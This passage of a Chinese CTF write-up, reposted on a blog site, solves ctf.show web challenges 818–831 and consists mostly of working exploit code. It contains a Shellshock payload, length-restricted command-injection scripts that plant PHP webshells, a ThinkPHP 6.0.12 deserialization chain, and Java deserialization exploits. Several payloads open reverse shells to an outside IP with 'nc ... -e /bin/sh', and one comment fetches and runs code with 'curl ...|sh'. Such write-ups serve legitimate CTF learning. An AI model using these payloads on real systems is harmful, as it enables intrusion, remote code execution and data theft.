  6. s.connect(('pwn.challenge.ctf.show',port))
  7. s.send(f'''GET / HTTP/1.1
  8. Host:127.0.0.1
  9. '''.encode())
  10. data=s.recv(1024).decode()
  11. s.close()
  12. pid = re.findall('(.*?) www-data',data)[0].strip()
  13. print(pid)
  14. l=str(len(open('exp.so','rb').read()+b'\n'*1024*200)).encode()
  15. def upload():
  16. while True:
  17. s=socket.socket()
  18. s.connect(('pwn.challenge.ctf.show',port))
  19. x=b'''POST / HTTP/1.1
  20. Host: 127.0.0.1
  21. User-Agent: yu22x
  22. Content-Length: '''+l+b'''
  23. Content-Type: application/x-www-form-urlencoded
  24. Connection: close
  25. '''+open('exp.so','rb').read()+b'\n'*1024*200+b'''
  26. '''
  27. s.send(x)
  28. s.close()
  29. def bruter():
  30. while True:
  31. for fd in range(3,40):
  32. print(fd)
  33. s=socket.socket()
  34. s.connect(('pwn.challenge.ctf.show',port))
  35. s.send(f'''GET /?env=LD_PRELOAD=/proc/{pid}/fd/{fd} HTTP/1.1
  36. Host: 127.0.0.1
  37. User-Agent: yu22x
  38. Connection: close
  39. '''.encode())
  40. print(s.recv(2048).decode())
  41. s.close()
  42. for i in range(30):
  43. t = threading.Thread(target=upload)
  44. t.start()
  45. for j in range(30):
  46. a = threading.Thread(target=bruter)
  47. a.start()

监听,外带

web819

破壳漏洞介绍:
想办法bash的匿名函数环境变量
bash在设计上可以通过环境变量来初始化一个匿名函数,并给其命名,函数体必须(){开头,函数名BASH_FUNC_开头,并以%%结尾
我们只需要控制生成一个能够还原为函数的环境变量格式,就能在system底层调用bash后,通过环境变量注册一个函数。即我们可以控制任意函数(覆写),只要有调用这个函数的地方,就可以任意代码执行

但靶机sh环境必须要是bash才能利用,如ubuntu的dsh,alpine的ash均不能用这种姿势

payload:

?env=BASH_FUNC_whoami%%=() { cat /f*;}

web820

这题,无图言屌,懂的都懂

web821

7字符可写(web目录可写)

参考文章:

https://blog.51cto.com/u_15080020/4328045

脚本

  1. import requests
  2. import time
  3. url = "http://ff2d125b-85e0-4c9a-a5bb-ac6ff03890f5.challenge.ctf.show/"
  4. payload = [
  5. ">hp",
  6. ">1.p\\",
  7. ">d\\>\\",
  8. ">\\ -\\",
  9. ">e64\\",
  10. ">bas\\",
  11. ">7\\|\\",
  12. ">XSk\\",
  13. ">Fsx\\",
  14. ">dFV\\",
  15. ">kX0\\",
  16. ">bCg\\",
  17. ">XZh\\",
  18. ">AgZ\\",
  19. ">waH\\",
  20. ">PD9\\",
  21. ">o\\ \\",
  22. ">ech\\",
  23. "ls -t>0",
  24. ". 0"
  25. ]
  26. def writeFile(payload):
  27. data = {
  28. "cmd": payload
  29. }
  30. requests.post(url, data=data)
  31. def run():
  32. for p in payload:
  33. writeFile(p.strip())
  34. print("[*] create " + p.strip())
  35. time.sleep(1)
  36. def check():
  37. response = requests.get(url + "1.php")
  38. if response.status_code == requests.codes.ok:
  39. print("[*] Attack success!!!Webshell is " + url + "1.php")
  40. def main():
  41. run()
  42. check()
  43. if __name__ == '__main__':
  44. main()

用/1.php?1=eval($_POST[1]);转接post连蚁剑(最好用linux的)

连接成功后右键数据操作,弱口令root连数据库

随便翻一翻找到flag

web822

7字符不可写(web目录不可写)

怎么缩也不可能7字以内外带的吧,只能思考是不是执行临时文件之类的

脚本:

  1. import requests
  2. url="http://b5c4ec71-c6bd-4e47-97a9-404d5de7cc69.challenge.ctf.show/"
  3. file={'file':'nc 124.222.136.33 1337 -e /bin/sh'}
  4. r= requests.post(url,files=file,data={'cmd':'. /t*/*'})

这里主要是用.+文件名执行命令支持通配符,可以大大缩短长度

web823

5字符可写,有dir命令

思路就是:

将index.php变成.php
将临时文件打包到当前目录
使用php执行tar压缩包(虽然前面有tar的字节,但是php代码的明文保存了下来,方便php直接执行)

脚本:

  1. import requests
  2. import time
  3. url = "http://6c59c312-ca0d-488a-9e79-b26653603274.challenge.ctf.show/"
  4. url_2 = url+".php"
  5. delay = 1
  6. chagneFile_payload=[
  7. '>cp',
  8. '>k',
  9. '*',
  10. 'rm cp',
  11. '>pc',
  12. '>dir',
  13. '*>v',
  14. '>rev',
  15. '*v>z',
  16. 'rm v',
  17. 'rm k',
  18. 'rm z',
  19. 'rm pc',
  20. 'rm *v',
  21. '>php.',
  22. '>j\\#',
  23. '>vm',
  24. '*>v',
  25. '>rev',
  26. '*v>z',
  27. 'sh z'
  28. ]
  29. clearFile_payload=[
  30. 'rm d*',
  31. 'rm j*',
  32. 'rm p*',
  33. 'rm r*',
  34. 'rm v*',
  35. 'rm z'
  36. ]
  37. shell_payload=[
  38. '>tar',
  39. '>vcf',
  40. '>z'
  41. ]
  42. file={
  43. 'file':b'<?php file_put_contents("1.php","<?php eval(\\$_POST[1]);?>");?>'
  44. }
  45. def changeFile():
  46. for p in chagneFile_payload:
  47. sendPayload(url,p)
  48. print("[*] create "+p.strip())
  49. time.sleep(delay)
  50. def clearFile():
  51. for p in clearFile_payload:
  52. sendPayload(url_2,p)
  53. print("[*] create "+p.strip())
  54. time.sleep(delay)
  55. def getshell():
  56. for p in shell_payload:
  57. sendPayload(url_2,p)
  58. print("[*] create "+p.strip())
  59. time.sleep(delay)
  60. data={
  61. "cmd":"* /t*"
  62. }
  63. requests.post(url_2,data=data,files=file)
  64. data={
  65. "cmd":"php z"
  66. }
  67. requests.post(url_2,data=data)
  68. def checkShell():
  69. response = requests.get(url+"1.php")
  70. if response.status_code == requests.codes.ok:
  71. print("[*] Attack success!!!Webshell is "+url+"1.php")
  72. def sendPayload(url,payload):
  73. data={
  74. "cmd":payload
  75. }
  76. requests.post(url,data=data)
  77. def run():
  78. changeFile()
  79. clearFile()
  80. getshell()
  81. checkShell()
  82. def main():
  83. run()
  84. if __name__ == '__main__':
  85. main()

web824

5字符可写无dir命令

匹配了所有带h的行,将其重新写到index.php中,有点对敌特攻的意思(

脚本:

  1. import requests
  2. import time
  3. url = "http://b024a2bc-8ec6-4e70-bbee-13cb62f358e4.challenge.ctf.show/"
  4. payload=[
  5. ">grep",
  6. ">h",
  7. "*>j",
  8. "rm g*",
  9. "rm h*",
  10. ">cat",
  11. "*>>i",
  12. "rm c*",
  13. "rm j",
  14. ">cp",
  15. "*"
  16. ]
  17. def writeFile(payload):
  18. data={
  19. "cmd":payload
  20. }
  21. requests.post(url,data=data)
  22. def run():
  23. for p in payload:
  24. writeFile(p.strip())
  25. print("[*] create "+p.strip())
  26. time.sleep(0.5)
  27. print("[*] Attack success!!!Webshell is "+url)
  28. def main():
  29. run()
  30. if __name__ == '__main__':
  31. main()

执行后是这种效果,可以绕过长度限制为所欲为了

web825

4字符,可写,有dir


linux中dir和ls的区别:都是将当前目录的文件和文件夹按照顺序列出在同一行,但是ls经过管道或重定向后,结果是换行的,而dir经过管道或重定向后,见过是不换行的。
如果用ls拼接命令,在保证顺序的基础上,需要在每行后面加一个\来拼接下一行的命令
用dir命令就不需要\来拼接,只要保证顺序正确就行

只打一个*执行命令的原理:举个例子,当文件夹下面有ls m n o p q文件时,只执行一个*就等效于执行ls m n o p q这个命令,把第一个作为命令,后面的作为参数。再有,如果一个目录下有rev v两个文件,执行一个*v就相当于执行rev v,将v文件的内容逆序输出

脚本:

  1. import requests
  2. import time
  3. url = "http://999c346d-7b65-48e1-9db5-593b36c0a736.challenge.ctf.show/"
  4. payload = [
  5. '>sl',
  6. '>kt-',
  7. '>j\\>',
  8. '>j\\#',
  9. '>dir',
  10. '*>v',
  11. '>rev',
  12. '*v>x',
  13. '>php',
  14. '>a.\\',
  15. '>\\>\\',
  16. '>-d\\',
  17. '>\\ \\',
  18. '>64\\',
  19. '>se\\',
  20. '>ba\\',
  21. '>\\|\\',
  22. '>4=\\',
  23. '>Pz\\',
  24. '>k7\\',
  25. '>XS\\',
  26. '>sx\\',
  27. '>VF\\',
  28. '>dF\\',
  29. '>X0\\',
  30. '>gk\\',
  31. '>bC\\',
  32. '>Zh\\',
  33. '>ZX\\',
  34. '>Ag\\',
  35. '>aH\\',
  36. '>9w\\',
  37. '>PD\\',
  38. '>S}\\',
  39. '>IF\\',
  40. '>{\\',
  41. '>\\$\\',
  42. '>ho\\',
  43. '>ec\\',
  44. 'sh x',
  45. 'sh j'
  46. ]
  47. def writeFile(payload):
  48. data={
  49. "cmd":payload
  50. }
  51. requests.post(url,data=data)
  52. def run():
  53. for p in payload:
  54. writeFile(p.strip())
  55. print("[*] create "+p.strip())
  56. time.sleep(0.3)
  57. def check():
  58. response = requests.get(url+"a.php")
  59. if response.status_code == requests.codes.ok:
  60. print("[*] Attack success!!!Webshell is "+url+"a.php")
  61. def main():
  62. run()
  63. check()
  64. if __name__ == '__main__':
  65. main()

x文件内容

ls    -tk  >j  #j  php.xedni

j内容就是一个base64的逆序

成功写shell,/a.php?1=eval($_POST[1]);继续post转接,蚁剑连shell看数据库

web826

4字符,可写,无dir,可出网

 http://2030350346已经寄了,这个得自己搭一个恶意代码的服务器

建议用web827的脚本来打,通用性更强(

  1. import requests
  2. import time
  3. url = "http://b6902616-877f-4ea3-8033-a562c3891238.challenge.ctf.show/"
  4. payload = [
  5. '>\\ \\',
  6. '>-t\\',
  7. '>\\>a',
  8. '>ls\\',
  9. 'ls>v',
  10. '>mv',
  11. '>vt',
  12. '*v*',
  13. '>ls',
  14. 'l*>t',
  15. '>cat',
  16. '*t>z',
  17. #curl 2030350346|sh
  18. #echo PD9waHAgZXZhbCgkX0dFVFsxXSk7|base64 -d>1.php
  19. '>sh',
  20. '>\\|\\',
  21. '>46\\',
  22. '>03\\',
  23. '>35\\',
  24. '>30\\',
  25. '>20\\',
  26. '>\\ \\',
  27. '>rl\\',
  28. '>cu\\',
  29. 'sh z',
  30. 'sh a',
  31. ]
  32. def writeFile(payload):
  33. data={
  34. "cmd":payload
  35. }
  36. requests.post(url,data=data)
  37. def run():
  38. for p in payload:
  39. writeFile(p.strip())
  40. print("[*] create "+p.strip())
  41. time.sleep(1)
  42. def check():
  43. response = requests.get(url+"1.php")
  44. if response.status_code == requests.codes.ok:
  45. print("[*] Attack success!!!Webshell is "+url+"1.php")
  46. def main():
  47. run()
  48. check()
  49. if __name__ == '__main__':
  50. main()

web827

4字符,可写、无dir,不出网

最少可以在4字符无dir的环境下拼接ls -t
当空格不够用时可以用$IFS,但是要注意命令部分不能有重复的字符组合
getshell的方式有很多种,需要根据环境来选择,如wget,curl,强制文件上传,无外网情况下getshell

脚本:

  1. import requests
  2. import time
  3. url = "http://9664b651-d71a-423a-94c4-6389e13273fb.challenge.ctf.show/"
  4. payload = [
  5. '>\\ \\',
  6. '>-t\\',
  7. '>\\>a',
  8. '>ls\\',
  9. 'ls>v',
  10. '>mv',
  11. '>vt',
  12. '*v*',
  13. '>ls',
  14. 'l*>t',
  15. '>cat',
  16. '*t>z',
  17. '>php',
  18. '>a.\\',
  19. '>\\>\\',
  20. '>-d\\',
  21. '>\\ \\',
  22. '>64\\',
  23. '>se\\',
  24. '>ba\\',
  25. '>\\|\\',
  26. '>4=\\',
  27. '>Pz\\',
  28. '>k7\\',
  29. '>XS\\',
  30. '>sx\\',
  31. '>VF\\',
  32. '>dF\\',
  33. '>X0\\',
  34. '>gk\\',
  35. '>bC\\',
  36. '>Zh\\',
  37. '>ZX\\',
  38. '>Ag\\',
  39. '>aH\\',
  40. '>9w\\',
  41. '>PD\\',
  42. '>S}\\',
  43. '>IF\\',
  44. '>{\\',
  45. '>\\$\\',
  46. '>ho\\',
  47. '>ec\\',
  48. 'sh z',
  49. 'sh a'
  50. ]
  51. def writeFile(payload):
  52. data={
  53. "cmd":payload
  54. }
  55. requests.post(url,data=data)
  56. def run():
  57. for p in payload:
  58. writeFile(p.strip())
  59. print("[*] create "+p.strip())
  60. time.sleep(1)
  61. def check():
  62. response = requests.get(url+"a.php")
  63. if response.status_code == requests.codes.ok:
  64. print("[*] Attack success!!!Webshell is "+url+"a.php")
  65. def main():
  66. run()
  67. check()
  68. if __name__ == '__main__':
  69. main()

web828

国赛TP6的反序列化

 ThinkPHP V6.0.12LTS,顺着版本号嘎嘎找

ThinkPHP6.0.12LTS反序列漏洞分析 - FreeBuf网络安全行业门户

题目源码拿到反序列化入口

 构造exp:

  1. <?php
  2. namespace think{
  3. abstract class Model{
  4. private $lazySave = false;
  5. private $data = [];
  6. private $exists = false;
  7. protected $table;
  8. private $withAttr = [];
  9. protected $json = [];
  10. protected $jsonAssoc = false;
  11. function __construct($obj = ''){
  12. $this->lazySave = True;
  13. $this->data = ['whoami' => ['cat /f*']];
  14. $this->exists = True;
  15. $this->table = $obj;
  16. $this->withAttr = ['whoami' => ['system']];
  17. $this->json = ['whoami',['whoami']];
  18. $this->jsonAssoc = True;
  19. }
  20. }
  21. }
  22. namespace think\model{
  23. use think\Model;
  24. class Pivot extends Model{
  25. }
  26. }
  27. namespace{
  28. echo(urlencode(serialize(new think\model\Pivot(new think\model\Pivot()))));
  29. }

 bp发包

web829

题目附件:

  1. package com.ctfshow.controller;
  2. @Controller
  3. @RequestMapping("/")
  4. public class IndexController {
  5. @RequestMapping(value = "/",method = RequestMethod.POST)
  6. @ResponseBody
  7. public String index(HttpServletRequest request){
  8. User user=null;
  9. try {
  10. byte[] userData = Base64.getDecoder().decode(request.getParameter("userData"));
  11. ObjectInputStream objectInputStream = new ObjectInputStream(new ByteArrayInputStream(userData));
  12. user = (User) objectInputStream.readObject();
  13. }catch (Exception e){
  14. return "base64 decode error";
  15. }
  16. return "unserialize done, you username is "+user.getName();
  17. }
  18. @RequestMapping(value = "/",method = RequestMethod.GET)
  19. @ResponseBody
  20. public String index(){
  21. return "plz post parameter 'userData' to unserialize";
  22. }
  23. }
  24. package com.ctfshow.entity;
  25. public class User implements Serializable {
  26. private static final long serialVersionUID = -3254536114659397781L;
  27. private String username;
  28. public User(String username) {
  29. this.username = username;
  30. }
  31. public String getName(){
  32. return this.username;
  33. }
  34. private void readObject(ObjectInputStream in) throws IOException, ClassNotFoundException {
  35. in.defaultReadObject();
  36. Runtime.getRuntime().exec(this.username);
  37. }
  38. }

User的readObject方法直接命令执行了

这不是白送

exp类

  1. package com.ctfshow.entity;
  2. import java.io.ByteArrayOutputStream;
  3. import java.io.IOException;
  4. import java.io.ObjectOutput;
  5. import java.io.ObjectOutputStream;
  6. import java.util.Base64;
  7. public class exp {
  8. public static void main(String[] args) throws NoSuchFieldException, IllegalAccessException, IOException {
  9. User user = new User("nc 124.222.136.33 1337 -e /bin/sh");
  10. serialize(user);
  11. }
  12. public static void serialize(Object obj) throws IOException, IOException {
  13. ByteArrayOutputStream data =new ByteArrayOutputStream();
  14. ObjectOutput oos =new ObjectOutputStream(data);
  15. oos.writeObject(obj);
  16. oos.flush();
  17. oos.close();
  18. System.out.println(Base64.getEncoder().encodeToString(data.toByteArray()));
  19. };
  20. }

User类

  1. package com.ctfshow.entity;
  2. import java.io.IOException;
  3. import java.io.ObjectInputStream;
  4. import java.io.Serializable;
  5. public class User implements Serializable {
  6. private static final long serialVersionUID = -3254536114659397781L;
  7. private String username;
  8. public User(String username) {
  9. this.username = username;
  10. }
  11. public String getName(){
  12. return this.username;
  13. }
  14. private void readObject(ObjectInputStream in) throws IOException, ClassNotFoundException {
  15. in.defaultReadObject();
  16. Runtime.getRuntime().exec(this.username);
  17. }
  18. }

payload:

userData=rO0ABXNyABdjb20uY3Rmc2hvdy5lbnRpdHkuVXNlctLVkKWhC+9rAgABTAAIdXNlcm5hbWV0ABJMamF2YS9sYW5nL1N0cmluZzt4cHQAIW5jIDEyNC4yMjIuMTM2LjMzIDEzMzcgLWUgL2Jpbi9zaA==

监听,反弹shell

web830

这次恶意readObject方法在父类

构造exp:

  1. package com.ctfshow.entity;
  2. import java.io.ByteArrayOutputStream;
  3. import java.io.IOException;
  4. import java.io.ObjectOutput;
  5. import java.io.ObjectOutputStream;
  6. import java.util.Base64;
  7. public class exp {
  8. public static void main(String[] args) throws NoSuchFieldException, IllegalAccessException, IOException {
  9. User user = new User("Z3r4y");
  10. user.secret="nc 124.222.136.33 1337 -e /bin/sh";
  11. serialize(user);
  12. }
  13. public static void serialize(Object obj) throws IOException, IOException {
  14. ByteArrayOutputStream data =new ByteArrayOutputStream();
  15. ObjectOutput oos =new ObjectOutputStream(data);
  16. oos.writeObject(obj);
  17. oos.flush();
  18. oos.close();
  19. System.out.println(Base64.getEncoder().encodeToString(data.toByteArray()));
  20. };
  21. }

监听,反弹shell

web831

题目把User类ban了,问题不大,我们直接反序列化BaseUser类

利用readObject方法来实现代码执行是在生成完整对象前利用,即对象生成后不再使用,只是借用生成对象时调用readObject方法来达成命令执行的效果

如果父类存在可利用的readObject方法,那么既可以反序列化子类,也可以反序列化父类,都可以调用父类的readObject方法,即使报错类型转换异常,因为readObject方法已经被调用,我们的目的也已达到。

  1. package com.ctfshow.entity;
  2. import java.io.ByteArrayOutputStream;
  3. import java.io.IOException;
  4. import java.io.ObjectOutput;
  5. import java.io.ObjectOutputStream;
  6. import java.util.Base64;
  7. public class exp {
  8. public static void main(String[] args) throws NoSuchFieldException, IllegalAccessException, IOException {
  9. BaseUser baseUser = new BaseUser();
  10. baseUser.secret="nc 124.222.136.33 1337 -e /bin/sh";
  11. serialize(baseUser);
  12. }
  13. public static void serialize(Object obj) throws IOException, IOException {
  14. ByteArrayOutputStream data =new ByteArrayOutputStream();
  15. ObjectOutput oos =new ObjectOutputStream(data);
  16. oos.writeObject(obj);
  17. oos.flush();
  18. oos.close();
  19. System.out.println(Base64.getEncoder().encodeToString(data.toByteArray()));
  20. };
  21. }

监听,反弹shell

声明:本文内容由网友自发贡献,不代表【wpsshop博客】立场,版权归原作者所有,本站不承担相应法律责任。如您发现有侵权的内容,请联系我们。转载请注明出处:https://www.wpsshop.cn/w/菜鸟追梦旅行/article/detail/497723?site
推荐阅读
相关标签
  

闽ICP备14008679号